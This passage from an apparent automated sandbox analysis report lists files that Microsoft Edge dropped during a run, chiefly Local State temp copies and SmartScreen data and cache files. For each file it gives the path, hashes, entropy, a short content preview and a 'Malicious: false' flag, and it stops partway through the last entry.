Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2dd37.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30418.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34e8e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3eddc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF414fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44a63.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.9982000309178085
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclROXASmy:YWLSGTt1o9LuLgfGBPAzkVj/T8l8X3my
MD5:	689717EB68471584B68FCBE4496FA723
